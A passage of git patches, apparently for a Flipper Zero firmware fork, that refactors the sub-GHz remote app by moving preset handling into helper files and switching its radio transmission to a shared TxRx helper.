SubRemSubFilePreset* sub_preset, - SubGhzProtocolEncoderRAWCallbackEnd callback) { +void subrem_save_active_sub(void* context) { + furi_assert(context); + SubGhzRemoteApp* app = context; + + SubRemSubFilePreset* sub_preset = app->map_preset->subs_preset[app->chusen_sub]; + subrem_save_protocol_to_file( + sub_preset->fff_data, furi_string_get_cstr(sub_preset->file_path)); +} + +bool subrem_tx_start_sub(SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset) { furi_assert(app); furi_assert(sub_preset); bool ret = false; @@ -321,88 +223,44 @@ bool subrem_tx_start_sub( subrem_tx_stop_sub(app, true); if(sub_preset->type == SubGhzProtocolTypeUnknown) { - return false; - } + ret = false; + } else { + FURI_LOG_I(TAG, "Send %s", furi_string_get_cstr(sub_preset->label)); - FURI_LOG_I(TAG, "Send %s", furi_string_get_cstr(sub_preset->label)); + subghz_txrx_load_decoder_by_name_protocol( + app->txrx, furi_string_get_cstr(sub_preset->protocaol_name)); - subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK); - keeloq_reset_original_btn(); - subghz_custom_btns_reset(); + subghz_txrx_set_preset( + app->txrx, + furi_string_get_cstr(sub_preset->freq_preset.name), + sub_preset->freq_preset.frequency, + NULL, + 0); - do { - flipper_format_rewind(sub_preset->fff_data); // - - app->transmitter = subghz_transmitter_alloc_init( - app->environment, furi_string_get_cstr(sub_preset->protocaol_name)); - - if(app->transmitter) { - if(subghz_transmitter_deserialize(app->transmitter, sub_preset->fff_data) != - SubGhzProtocolStatusOk) { - FURI_LOG_E(TAG, "Deserialize error!"); - break; - } - furi_hal_subghz_reset(); - furi_hal_subghz_idle(); - furi_hal_subghz_load_custom_preset(sub_preset->freq_preset.data); - furi_hal_gpio_init( - furi_hal_subghz.cc1101_g0_pin, GpioModeInput, GpioPullNo, GpioSpeedLow); - - furi_hal_subghz_idle(); - - furi_hal_subghz_set_frequency_and_path(sub_preset->freq_preset.frequency); - furi_hal_gpio_write(furi_hal_subghz.cc1101_g0_pin, false); - furi_hal_gpio_init( - furi_hal_subghz.cc1101_g0_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedLow); - - if(!furi_hal_subghz_tx()) { - FURI_LOG_E(TAG, "Sending not allowed"); - break; - } - - if(sub_preset->type == SubGhzProtocolTypeRAW) { - subghz_protocol_raw_file_encoder_worker_set_callback_end( - (SubGhzProtocolEncoderRAW*)subghz_transmitter_get_protocol_instance( - app->transmitter), - callback, - app); - } - - furi_hal_subghz_start_async_tx(subghz_transmitter_yield, app->transmitter); + subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK); + keeloq_reset_original_btn(); + subghz_custom_btns_reset(); + if(subghz_txrx_tx_start(app->txrx, sub_preset->fff_data) == SubGhzTxRxStartTxStateOk) { ret = true; } - } while(false); + } app->tx_running = ret; return ret; } -static void subghz_tx_stop(SubGhzRemoteApp* app) { - furi_assert(app); - - //Stop TX - furi_hal_subghz_stop_async_tx(); - - subghz_transmitter_stop(app->transmitter); - subghz_transmitter_free(app->transmitter); - furi_hal_subghz_idle(); -} - bool subrem_tx_stop_sub(SubGhzRemoteApp* app, bool forced) { furi_assert(app); SubRemSubFilePreset* sub_preset = app->map_preset->subs_preset[app->chusen_sub]; if(forced || (sub_preset->type != SubGhzProtocolTypeRAW)) { - // SubRemSubKeyTypeRawKey)) { + // XXX drop app->tx_running if(app->tx_running) { - subghz_tx_stop(app); + subghz_txrx_stop(app->txrx); if(sub_preset->type == SubGhzProtocolTypeDynamic) { - subrem_save_protocol_to_file( - sub_preset->fff_data, furi_string_get_cstr(sub_preset->file_path)); - keeloq_reset_mfname(); keeloq_reset_kl_type(); keeloq_reset_original_btn(); diff --git a/applications/main/subghz_remote/subghz_remote_app_i.h b/applications/main/subghz_remote/subghz_remote_app_i.h index 5d34968cd..50e2bae9f 100644 --- a/applications/main/subghz_remote/subghz_remote_app_i.h +++ b/applications/main/subghz_remote/subghz_remote_app_i.h @@ -3,6 +3,8 @@ #include "helpers/subrem_types.h" #include "helpers/subrem_presets.h" +#include "../subghz/helpers/subghz_txrx.h" + #include #include "views/remote.h" @@ -31,9 +33,6 @@ #define SUBREM_APP_FOLDER EXT_PATH("subghz_remote") #define SUBREM_MAX_LEN_NAME 64 -typedef struct { - SubRemSubFilePreset* subs_preset[SubRemSubKeyNameMaxCount]; -} SubRemMapPreset; typedef struct { Gui* gui; ViewDispatcher* view_dispatcher; @@ -49,10 +48,7 @@ typedef struct { SubRemMapPreset* map_preset; - SubGhzSetting* setting; - SubGhzEnvironment* environment; - SubGhzReceiver* receiver; - SubGhzTransmitter* transmitter; + SubGhzTxRx* txrx; bool tx_running; @@ -61,9 +57,8 @@ typedef struct { SubRemLoadMapState subrem_load_from_file(SubGhzRemoteApp* app); -bool subrem_tx_start_sub( - SubGhzRemoteApp* app, - SubRemSubFilePreset* sub_preset, - SubGhzProtocolEncoderRAWCallbackEnd callback); +bool subrem_tx_start_sub(SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset); -bool subrem_tx_stop_sub(SubGhzRemoteApp* app, bool forced); \ No newline at end of file +bool subrem_tx_stop_sub(SubGhzRemoteApp* app, bool forced); + +void subrem_save_active_sub(void* context); \ No newline at end of file diff --git a/applications/main/subghz_remote/views/remote.c b/applications/main/subghz_remote/views/remote.c index 1f867cd0b..e062f11b1 100644 --- a/applications/main/subghz_remote/views/remote.c +++ b/applications/main/subghz_remote/views/remote.c @@ -41,24 +41,18 @@ void subrem_view_remote_set_callback( subrem_view_remote->context = context; } -void subrem_view_remote_add_data_to_show( - SubRemViewRemote* subrem_view_remote, - const char* up_label, - const char* down_label, - const char* left_label, - const char* right_label, - const char* ok_label) { +void subrem_view_remote_add_data_to_show(SubRemViewRemote* subrem_view_remote, const char** labels) { furi_assert(subrem_view_remote); with_view_model( subrem_view_remote->view, SubRemViewRemoteModel * model, { - strncpy(model->up_label, up_label, SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); - strncpy(model->down_label, down_label, SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); - strncpy(model->left_label, left_label, SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); - strncpy(model->right_label, right_label, SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); - strncpy(model->ok_label, ok_label, SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); + strncpy(model->up_label, labels[0], SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); + strncpy(model->down_label, labels[1], SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); + strncpy(model->left_label, labels[2], SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); + strncpy(model->right_label, labels[3], SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); + strncpy(model->ok_label, labels[4], SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); // furi_string_set(model->up_label, up_label); // furi_string_set(model->down_label, down_label); @@ -69,23 +63,21 @@ void subrem_view_remote_add_data_to_show( true); } -void subrem_view_remote_set_presed_btn(SubRemViewRemote* subrem_view_remote, uint8_t presed_btn) { +void subrem_view_remote_set_state( + SubRemViewRemote* subrem_view_remote, + SubRemViewRemoteState state, + uint8_t presed_btn) { furi_assert(subrem_view_remote); with_view_model( subrem_view_remote->view, SubRemViewRemoteModel * model, - { model->pressed_btn = presed_btn; }, + { + model->state = state; + model->pressed_btn = presed_btn; + }, true); } -void subrem_view_remote_set_state( - SubRemViewRemote* subrem_view_remote, - SubRemViewRemoteState state) { - furi_assert(subrem_view_remote); - with_view_model( - subrem_view_remote->view, SubRemViewRemoteModel * model, { model->state = state; }, true); -} - void subrem_view_remote_draw(Canvas* canvas, SubRemViewRemoteModel* model) { canvas_clear(canvas); canvas_set_color(canvas, ColorBlack); diff --git a/applications/main/subghz_remote/views/remote.h b/applications/main/subghz_remote/views/remote.h index 76121cf8a..ea274fca4 100644 --- a/applications/main/subghz_remote/views/remote.h +++ b/applications/main/subghz_remote/views/remote.h @@ -24,15 +24,9 @@ void subrem_view_remote_free(SubRemViewRemote* subrem_view_remote); View* subrem_view_remote_get_view(SubRemViewRemote* subrem_view_remote); -void subrem_view_remote_add_data_to_show( - SubRemViewRemote* subrem_view_remote, - const char* up_label, - const char* down_label, - const char* left_label, - const char* right_label, - const char* ok_label); +void subrem_view_remote_add_data_to_show(SubRemViewRemote* subrem_view_remote, const char** labels); -void subrem_view_remote_set_presed_btn(SubRemViewRemote* subrem_view_remote, uint8_t presed_btn); void subrem_view_remote_set_state( SubRemViewRemote* subrem_view_remote, - SubRemViewRemoteState state); \ No newline at end of file + SubRemViewRemoteState state, + uint8_t presed_btn); \ No newline at end of file From e71a66535d3d151af82d02029a8f7bf9396eb2d7 Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Sun, 21 May 2023 10:29:58 +0300 Subject: [PATCH 018/100] move part of preset --- .../subghz_remote/helpers/subrem_presets.c | 40 ++ .../subghz_remote/helpers/subrem_presets.h | 27 ++ .../scenes/subrem_scene_remote.c | 12 +- .../main/subghz_remote/subghz_remote_app.c | 6 +- .../main/subghz_remote/subghz_remote_app_i.c | 345 ++++++++---------- .../main/subghz_remote/subghz_remote_app_i.h | 28 +- 6 files changed, 237 insertions(+), 221 deletions(-) create mode 100644 applications/main/subghz_remote/helpers/subrem_presets.c create mode 100644 applications/main/subghz_remote/helpers/subrem_presets.h diff --git a/applications/main/subghz_remote/helpers/subrem_presets.c b/applications/main/subghz_remote/helpers/subrem_presets.c new file mode 100644 index 000000000..03e497198 --- /dev/null +++ b/applications/main/subghz_remote/helpers/subrem_presets.c @@ -0,0 +1,40 @@ +#include "subrem_presets.h" + +SubRemSubFilePreset* subrem_sub_file_preset_alloc() { + SubRemSubFilePreset* sub_preset = malloc(sizeof(SubRemSubFilePreset)); + + sub_preset->fff_data = flipper_format_string_alloc(); + sub_preset->file_path = furi_string_alloc(); + sub_preset->protocaol_name = furi_string_alloc(); + sub_preset->label = furi_string_alloc_set_str("N/A"); + + sub_preset->type = SubGhzProtocolTypeUnknown; + sub_preset->load_state = SubRemLoadSubStateNotSet; + + return sub_preset; +} + +void subrem_sub_file_preset_free(SubRemSubFilePreset* sub_preset) { + furi_assert(sub_preset); + + furi_string_free(sub_preset->label); + furi_string_free(sub_preset->protocaol_name); + furi_string_free(sub_preset->file_path); + flipper_format_free(sub_preset->fff_data); + + free(sub_preset); +} + +void subrem_sub_file_preset_reset(SubRemSubFilePreset* sub_preset) { + furi_assert(sub_preset); + + furi_string_set_str(sub_preset->label, "N/A"); + furi_string_reset(sub_preset->protocaol_name); + furi_string_reset(sub_preset->file_path); + + Stream* fff_data_stream = flipper_format_get_raw_stream(sub_preset->fff_data); + stream_clean(fff_data_stream); + + sub_preset->type = SubGhzProtocolTypeUnknown; + sub_preset->load_state = SubRemLoadSubStateNotSet; +} diff --git a/applications/main/subghz_remote/helpers/subrem_presets.h b/applications/main/subghz_remote/helpers/subrem_presets.h new file mode 100644 index 000000000..60eedad57 --- /dev/null +++ b/applications/main/subghz_remote/helpers/subrem_presets.h @@ -0,0 +1,27 @@ +#pragma once + +#include "subrem_types.h" +#include +#include + +typedef struct { + uint32_t frequency; + uint8_t* data; +} FreqPreset; + +// Sub File preset +typedef struct { + FlipperFormat* fff_data; + FreqPreset freq_preset; + FuriString* file_path; + FuriString* protocaol_name; + FuriString* label; + SubGhzProtocolType type; + SubRemLoadSubState load_state; +} SubRemSubFilePreset; + +SubRemSubFilePreset* subrem_sub_file_preset_alloc(); + +void subrem_sub_file_preset_free(SubRemSubFilePreset* sub_preset); + +void subrem_sub_file_preset_reset(SubRemSubFilePreset* sub_preset); diff --git a/applications/main/subghz_remote/scenes/subrem_scene_remote.c b/applications/main/subghz_remote/scenes/subrem_scene_remote.c index c24583233..1b8dbc471 100644 --- a/applications/main/subghz_remote/scenes/subrem_scene_remote.c +++ b/applications/main/subghz_remote/scenes/subrem_scene_remote.c @@ -41,11 +41,11 @@ static bool subrem_scene_remote_update_data_show(void* context) { subrem_view_remote_add_data_to_show( app->subrem_remote_view, - furi_string_get_cstr(app->subs_preset[0]->label), - furi_string_get_cstr(app->subs_preset[1]->label), - furi_string_get_cstr(app->subs_preset[2]->label), - furi_string_get_cstr(app->subs_preset[3]->label), - furi_string_get_cstr(app->subs_preset[4]->label)); + furi_string_get_cstr(app->map_preset->subs_preset[0]->label), + furi_string_get_cstr(app->map_preset->subs_preset[1]->label), + furi_string_get_cstr(app->map_preset->subs_preset[2]->label), + furi_string_get_cstr(app->map_preset->subs_preset[3]->label), + furi_string_get_cstr(app->map_preset->subs_preset[4]->label)); return ret; } @@ -85,7 +85,7 @@ bool subrem_scene_remote_on_event(void* context, SceneManagerEvent event) { subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateLoading); if(subrem_tx_start_sub( app, - app->subs_preset[app->chusen_sub], + app->map_preset->subs_preset[app->chusen_sub], subrem_scene_remote_raw_callback_end_tx)) { subrem_view_remote_set_presed_btn(app->subrem_remote_view, app->chusen_sub); subrem_view_remote_set_state( diff --git a/applications/main/subghz_remote/subghz_remote_app.c b/applications/main/subghz_remote/subghz_remote_app.c index b957fb8bc..4f9138e2a 100644 --- a/applications/main/subghz_remote/subghz_remote_app.c +++ b/applications/main/subghz_remote/subghz_remote_app.c @@ -74,8 +74,9 @@ SubGhzRemoteApp* subghz_remote_app_alloc() { SubRemViewIDRemote, subrem_view_remote_get_view(app->subrem_remote_view)); + app->map_preset = malloc(sizeof(SubRemMapPreset)); for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { - app->subs_preset[i] = subrem_sub_file_preset_alloc(); + app->map_preset->subs_preset[i] = subrem_sub_file_preset_alloc(); } app->setting = subghz_setting_alloc(); @@ -136,8 +137,9 @@ void subghz_remote_app_free(SubGhzRemoteApp* app) { subghz_setting_free(app->setting); for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { - subrem_sub_file_preset_free(app->subs_preset[i]); + subrem_sub_file_preset_free(app->map_preset->subs_preset[i]); } + free(app->map_preset); // Notifications furi_record_close(RECORD_NOTIFICATION); diff --git a/applications/main/subghz_remote/subghz_remote_app_i.c b/applications/main/subghz_remote/subghz_remote_app_i.c index 349fb87cd..9c35a0e03 100644 --- a/applications/main/subghz_remote/subghz_remote_app_i.c +++ b/applications/main/subghz_remote/subghz_remote_app_i.c @@ -42,50 +42,11 @@ static bool return true; } -SubRemSubFilePreset* subrem_sub_file_preset_alloc() { - SubRemSubFilePreset* sub_preset = malloc(sizeof(SubRemSubFilePreset)); - - sub_preset->fff_data = flipper_format_string_alloc(); - sub_preset->file_path = furi_string_alloc(); - sub_preset->protocaol_name = furi_string_alloc(); - sub_preset->label = furi_string_alloc_set_str("N/A"); - - sub_preset->type = SubGhzProtocolTypeUnknown; - sub_preset->load_state = SubRemLoadSubStateNotSet; - - return sub_preset; -} - -void subrem_sub_file_preset_free(SubRemSubFilePreset* sub_preset) { - furi_assert(sub_preset); - - furi_string_free(sub_preset->label); - furi_string_free(sub_preset->protocaol_name); - furi_string_free(sub_preset->file_path); - flipper_format_free(sub_preset->fff_data); - - free(sub_preset); -} - -static void subrem_sub_file_preset_reset(SubRemSubFilePreset* sub_preset) { - furi_assert(sub_preset); - - furi_string_set_str(sub_preset->label, "N/A"); - furi_string_reset(sub_preset->protocaol_name); - furi_string_reset(sub_preset->file_path); - - Stream* fff_data_stream = flipper_format_get_raw_stream(sub_preset->fff_data); - stream_clean(fff_data_stream); - - sub_preset->type = SubGhzProtocolTypeUnknown; - sub_preset->load_state = SubRemLoadSubStateNotSet; -} - -void subrem_map_preset_reset(SubGhzRemoteApp* app) { - furi_assert(app); +void subrem_map_preset_reset(SubRemMapPreset* map_preset) { + furi_assert(map_preset); for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { - subrem_sub_file_preset_reset(app->subs_preset[i]); + subrem_sub_file_preset_reset(map_preset->subs_preset[i]); } } @@ -94,7 +55,7 @@ static bool subrem_map_preset_load(SubGhzRemoteApp* app, FlipperFormat* fff_data bool ret = false; SubRemSubFilePreset* sub_preset; for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { - sub_preset = app->subs_preset[i]; + sub_preset = app->map_preset->subs_preset[i]; if(!flipper_format_read_string( fff_data_file, map_file_labels[i][0], sub_preset->file_path)) { #if FURI_DEBUG @@ -125,153 +86,6 @@ static bool subrem_map_preset_load(SubGhzRemoteApp* app, FlipperFormat* fff_data return ret; } -bool subrem_save_protocol_to_file(FlipperFormat* flipper_format, const char* dev_file_name) { - furi_assert(flipper_format); - furi_assert(dev_file_name); - - Storage* storage = furi_record_open(RECORD_STORAGE); - Stream* flipper_format_stream = flipper_format_get_raw_stream(flipper_format); - - bool saved = false; - uint32_t repeat = 200; - FuriString* file_dir = furi_string_alloc(); - - path_extract_dirname(dev_file_name, file_dir); - do { - // removing additional fields - flipper_format_delete_key(flipper_format, "Repeat"); - // flipper_format_delete_key(flipper_format, "Manufacture"); - - if(!storage_simply_remove(storage, dev_file_name)) { - break; - } - - //ToDo check Write - stream_seek(flipper_format_stream, 0, StreamOffsetFromStart); - stream_save_to_file(flipper_format_stream, storage, dev_file_name, FSOM_CREATE_ALWAYS); - - if(!flipper_format_insert_or_update_uint32(flipper_format, "Repeat", &repeat, 1)) { - FURI_LOG_E(TAG, "Unable Repeat"); - break; - } - - saved = true; - } while(0); - - furi_string_free(file_dir); - furi_record_close(RECORD_STORAGE); - return saved; -} - -bool subrem_tx_start_sub( - SubGhzRemoteApp* app, - SubRemSubFilePreset* sub_preset, - SubGhzProtocolEncoderRAWCallbackEnd callback) { - furi_assert(app); - furi_assert(sub_preset); - bool ret = false; - - subrem_tx_stop_sub(app, true); - - if(sub_preset->type == SubGhzProtocolTypeUnknown) { - return false; - } - - FURI_LOG_I(TAG, "Send %s", furi_string_get_cstr(sub_preset->label)); - - subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK); - keeloq_reset_original_btn(); - subghz_custom_btns_reset(); - - do { - flipper_format_rewind(sub_preset->fff_data); // - - app->transmitter = subghz_transmitter_alloc_init( - app->environment, furi_string_get_cstr(sub_preset->protocaol_name)); - - if(app->transmitter) { - if(subghz_transmitter_deserialize(app->transmitter, sub_preset->fff_data) != - SubGhzProtocolStatusOk) { - FURI_LOG_E(TAG, "Deserialize error!"); - break; - } - furi_hal_subghz_reset(); - furi_hal_subghz_idle(); - furi_hal_subghz_load_custom_preset(sub_preset->freq_preset.data); - furi_hal_gpio_init( - furi_hal_subghz.cc1101_g0_pin, GpioModeInput, GpioPullNo, GpioSpeedLow); - - furi_hal_subghz_idle(); - - furi_hal_subghz_set_frequency_and_path(sub_preset->freq_preset.frequency); - furi_hal_gpio_write(furi_hal_subghz.cc1101_g0_pin, false); - furi_hal_gpio_init( - furi_hal_subghz.cc1101_g0_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedLow); - - if(!furi_hal_subghz_tx()) { - FURI_LOG_E(TAG, "Sending not allowed"); - break; - } - - if(sub_preset->type == SubGhzProtocolTypeRAW) { - subghz_protocol_raw_file_encoder_worker_set_callback_end( - (SubGhzProtocolEncoderRAW*)subghz_transmitter_get_protocol_instance( - app->transmitter), - callback, - app); - } - - furi_hal_subghz_start_async_tx(subghz_transmitter_yield, app->transmitter); - - ret = true; - } - } while(false); - - app->tx_running = ret; - - return ret; -} - -static void subghz_tx_stop(SubGhzRemoteApp* app) { - furi_assert(app); - - //Stop TX - furi_hal_subghz_stop_async_tx(); - - subghz_transmitter_stop(app->transmitter); - subghz_transmitter_free(app->transmitter); - furi_hal_subghz_idle(); -} - -bool subrem_tx_stop_sub(SubGhzRemoteApp* app, bool forced) { - furi_assert(app); - SubRemSubFilePreset* sub_preset = app->subs_preset[app->chusen_sub]; - - if(forced || (sub_preset->type != SubGhzProtocolTypeRAW)) { - // SubRemSubKeyTypeRawKey)) { - if(app->tx_running) { - subghz_tx_stop(app); - - if(sub_preset->type == SubGhzProtocolTypeDynamic) { - subrem_save_protocol_to_file( - sub_preset->fff_data, furi_string_get_cstr(sub_preset->file_path)); - - keeloq_reset_mfname(); - keeloq_reset_kl_type(); - keeloq_reset_original_btn(); - subghz_custom_btns_reset(); - star_line_reset_mfname(); - star_line_reset_kl_type(); - } - - app->tx_running = false; - return true; - } - } - - return false; -} - static SubRemLoadMapState subrem_map_preset_check(SubGhzRemoteApp* app, FlipperFormat* fff_data_file) { furi_assert(app); @@ -283,7 +97,7 @@ static SubRemLoadMapState SubRemSubFilePreset* sub_preset; uint32_t repeat = 200; for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { - sub_preset = app->subs_preset[i]; + sub_preset = app->map_preset->subs_preset[i]; if(furi_string_empty(sub_preset->file_path)) { // FURI_LOG_I(TAG, "Empty file path"); continue; @@ -427,7 +241,7 @@ SubRemLoadMapState subrem_map_file_load(SubGhzRemoteApp* app, const char* file_p #if FURI_DEBUG FURI_LOG_I(TAG, "Open Map File.."); #endif - subrem_map_preset_reset(app); + subrem_map_preset_reset(app->map_preset); if(!flipper_format_file_open_existing(fff_data_file, file_path)) { FURI_LOG_E(TAG, "Could not open MAP file %s", file_path); @@ -458,6 +272,153 @@ SubRemLoadMapState subrem_map_file_load(SubGhzRemoteApp* app, const char* file_p return ret; } +bool subrem_save_protocol_to_file(FlipperFormat* flipper_format, const char* dev_file_name) { + furi_assert(flipper_format); + furi_assert(dev_file_name); + + Storage* storage = furi_record_open(RECORD_STORAGE); + Stream* flipper_format_stream = flipper_format_get_raw_stream(flipper_format); + + bool saved = false; + uint32_t repeat = 200; + FuriString* file_dir = furi_string_alloc(); + + path_extract_dirname(dev_file_name, file_dir); + do { + // removing additional fields + flipper_format_delete_key(flipper_format, "Repeat"); + // flipper_format_delete_key(flipper_format, "Manufacture"); + + if(!storage_simply_remove(storage, dev_file_name)) { + break; + } + + //ToDo check Write + stream_seek(flipper_format_stream, 0, StreamOffsetFromStart); + stream_save_to_file(flipper_format_stream, storage, dev_file_name, FSOM_CREATE_ALWAYS); + + if(!flipper_format_insert_or_update_uint32(flipper_format, "Repeat", &repeat, 1)) { + FURI_LOG_E(TAG, "Unable Repeat"); + break; + } + + saved = true; + } while(0); + + furi_string_free(file_dir); + furi_record_close(RECORD_STORAGE); + return saved; +} + +bool subrem_tx_start_sub( + SubGhzRemoteApp* app, + SubRemSubFilePreset* sub_preset, + SubGhzProtocolEncoderRAWCallbackEnd callback) { + furi_assert(app); + furi_assert(sub_preset); + bool ret = false; + + subrem_tx_stop_sub(app, true); + + if(sub_preset->type == SubGhzProtocolTypeUnknown) { + return false; + } + + FURI_LOG_I(TAG, "Send %s", furi_string_get_cstr(sub_preset->label)); + + subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK); + keeloq_reset_original_btn(); + subghz_custom_btns_reset(); + + do { + flipper_format_rewind(sub_preset->fff_data); // + + app->transmitter = subghz_transmitter_alloc_init( + app->environment, furi_string_get_cstr(sub_preset->protocaol_name)); + + if(app->transmitter) { + if(subghz_transmitter_deserialize(app->transmitter, sub_preset->fff_data) != + SubGhzProtocolStatusOk) { + FURI_LOG_E(TAG, "Deserialize error!"); + break; + } + furi_hal_subghz_reset(); + furi_hal_subghz_idle(); + furi_hal_subghz_load_custom_preset(sub_preset->freq_preset.data); + furi_hal_gpio_init( + furi_hal_subghz.cc1101_g0_pin, GpioModeInput, GpioPullNo, GpioSpeedLow); + + furi_hal_subghz_idle(); + + furi_hal_subghz_set_frequency_and_path(sub_preset->freq_preset.frequency); + furi_hal_gpio_write(furi_hal_subghz.cc1101_g0_pin, false); + furi_hal_gpio_init( + furi_hal_subghz.cc1101_g0_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedLow); + + if(!furi_hal_subghz_tx()) { + FURI_LOG_E(TAG, "Sending not allowed"); + break; + } + + if(sub_preset->type == SubGhzProtocolTypeRAW) { + subghz_protocol_raw_file_encoder_worker_set_callback_end( + (SubGhzProtocolEncoderRAW*)subghz_transmitter_get_protocol_instance( + app->transmitter), + callback, + app); + } + + furi_hal_subghz_start_async_tx(subghz_transmitter_yield, app->transmitter); + + ret = true; + } + } while(false); + + app->tx_running = ret; + + return ret; +} + +static void subghz_tx_stop(SubGhzRemoteApp* app) { + furi_assert(app); + + //Stop TX + furi_hal_subghz_stop_async_tx(); + + subghz_transmitter_stop(app->transmitter); + subghz_transmitter_free(app->transmitter); + furi_hal_subghz_idle(); +} + +bool subrem_tx_stop_sub(SubGhzRemoteApp* app, bool forced) { + furi_assert(app); + SubRemSubFilePreset* sub_preset = app->map_preset->subs_preset[app->chusen_sub]; + + if(forced || (sub_preset->type != SubGhzProtocolTypeRAW)) { + // SubRemSubKeyTypeRawKey)) { + if(app->tx_running) { + subghz_tx_stop(app); + + if(sub_preset->type == SubGhzProtocolTypeDynamic) { + subrem_save_protocol_to_file( + sub_preset->fff_data, furi_string_get_cstr(sub_preset->file_path)); + + keeloq_reset_mfname(); + keeloq_reset_kl_type(); + keeloq_reset_original_btn(); + subghz_custom_btns_reset(); + star_line_reset_mfname(); + star_line_reset_kl_type(); + } + + app->tx_running = false; + return true; + } + } + + return false; +} + SubRemLoadMapState subrem_load_from_file(SubGhzRemoteApp* app) { furi_assert(app); diff --git a/applications/main/subghz_remote/subghz_remote_app_i.h b/applications/main/subghz_remote/subghz_remote_app_i.h index 40d70411a..5d34968cd 100644 --- a/applications/main/subghz_remote/subghz_remote_app_i.h +++ b/applications/main/subghz_remote/subghz_remote_app_i.h @@ -1,6 +1,8 @@ #pragma once #include "helpers/subrem_types.h" +#include "helpers/subrem_presets.h" + #include #include "views/remote.h" @@ -30,25 +32,8 @@ #define SUBREM_MAX_LEN_NAME 64 typedef struct { - uint32_t frequency; - uint8_t* data; -} FreqPreset; - -// Sub File preset -typedef struct { - FlipperFormat* fff_data; - FreqPreset freq_preset; - FuriString* file_path; - FuriString* protocaol_name; - FuriString* label; - SubGhzProtocolType type; - SubRemLoadSubState load_state; -} SubRemSubFilePreset; - -SubRemSubFilePreset* subrem_sub_file_preset_alloc(); - -void subrem_sub_file_preset_free(SubRemSubFilePreset* sub_preset); - + SubRemSubFilePreset* subs_preset[SubRemSubKeyNameMaxCount]; +} SubRemMapPreset; typedef struct { Gui* gui; ViewDispatcher* view_dispatcher; @@ -56,12 +41,13 @@ typedef struct { NotificationApp* notifications; DialogsApp* dialogs; Submenu* submenu; + FuriString* file_path; - char file_name_tmp[SUBREM_MAX_LEN_NAME]; + // char file_name_tmp[SUBREM_MAX_LEN_NAME]; SubRemViewRemote* subrem_remote_view; - SubRemSubFilePreset* subs_preset[SubRemSubKeyNameMaxCount]; + SubRemMapPreset* map_preset; SubGhzSetting* setting; SubGhzEnvironment* environment; From 58b21f2a49aa5608c297be0ab0c1dd4bfdd858ac Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Sun, 21 May 2023 23:34:42 +0300 Subject: [PATCH 019/100] Using TxRx from subghz --- .../subghz_remote/helpers/subrem_presets.c | 139 +++++++ .../subghz_remote/helpers/subrem_presets.h | 13 +- .../main/subghz_remote/helpers/subrem_types.h | 2 +- .../scenes/subrem_scene_openmapfile.c | 3 +- .../scenes/subrem_scene_remote.c | 51 +-- .../main/subghz_remote/subghz_remote_app.c | 22 +- .../main/subghz_remote/subghz_remote_app_i.c | 346 ++++++------------ .../main/subghz_remote/subghz_remote_app_i.h | 19 +- .../main/subghz_remote/views/remote.c | 36 +- .../main/subghz_remote/views/remote.h | 12 +- 10 files changed, 310 insertions(+), 333 deletions(-) diff --git a/applications/main/subghz_remote/helpers/subrem_presets.c b/applications/main/subghz_remote/helpers/subrem_presets.c index 03e497198..9601aae6c 100644 --- a/applications/main/subghz_remote/helpers/subrem_presets.c +++ b/applications/main/subghz_remote/helpers/subrem_presets.c @@ -1,5 +1,7 @@ #include "subrem_presets.h" +#define TAG "SubRemPresets" + SubRemSubFilePreset* subrem_sub_file_preset_alloc() { SubRemSubFilePreset* sub_preset = malloc(sizeof(SubRemSubFilePreset)); @@ -8,6 +10,8 @@ SubRemSubFilePreset* subrem_sub_file_preset_alloc() { sub_preset->protocaol_name = furi_string_alloc(); sub_preset->label = furi_string_alloc_set_str("N/A"); + sub_preset->freq_preset.name = furi_string_alloc(); + sub_preset->type = SubGhzProtocolTypeUnknown; sub_preset->load_state = SubRemLoadSubStateNotSet; @@ -22,6 +26,8 @@ void subrem_sub_file_preset_free(SubRemSubFilePreset* sub_preset) { furi_string_free(sub_preset->file_path); flipper_format_free(sub_preset->fff_data); + furi_string_free(sub_preset->freq_preset.name); + free(sub_preset); } @@ -38,3 +44,136 @@ void subrem_sub_file_preset_reset(SubRemSubFilePreset* sub_preset) { sub_preset->type = SubGhzProtocolTypeUnknown; sub_preset->load_state = SubRemLoadSubStateNotSet; } + +SubRemLoadSubState subrem_sub_preset_load( + SubRemSubFilePreset* sub_preset, + SubGhzTxRx* txrx, + FlipperFormat* fff_data_file) { + furi_assert(sub_preset); + furi_assert(txrx); + furi_assert(fff_data_file); + + Stream* fff_data_stream = flipper_format_get_raw_stream(sub_preset->fff_data); + + SubRemLoadSubState ret; + FuriString* temp_str = furi_string_alloc(); + uint32_t temp_data32; + uint32_t repeat = 200; + + ret = SubRemLoadSubStateError; + + do { + stream_clean(fff_data_stream); + if(!flipper_format_read_header(fff_data_file, temp_str, &temp_data32)) { + FURI_LOG_E(TAG, "Missing or incorrect header"); + break; + } + + if(((!strcmp(furi_string_get_cstr(temp_str), SUBGHZ_KEY_FILE_TYPE)) || + (!strcmp(furi_string_get_cstr(temp_str), SUBGHZ_RAW_FILE_TYPE))) && + temp_data32 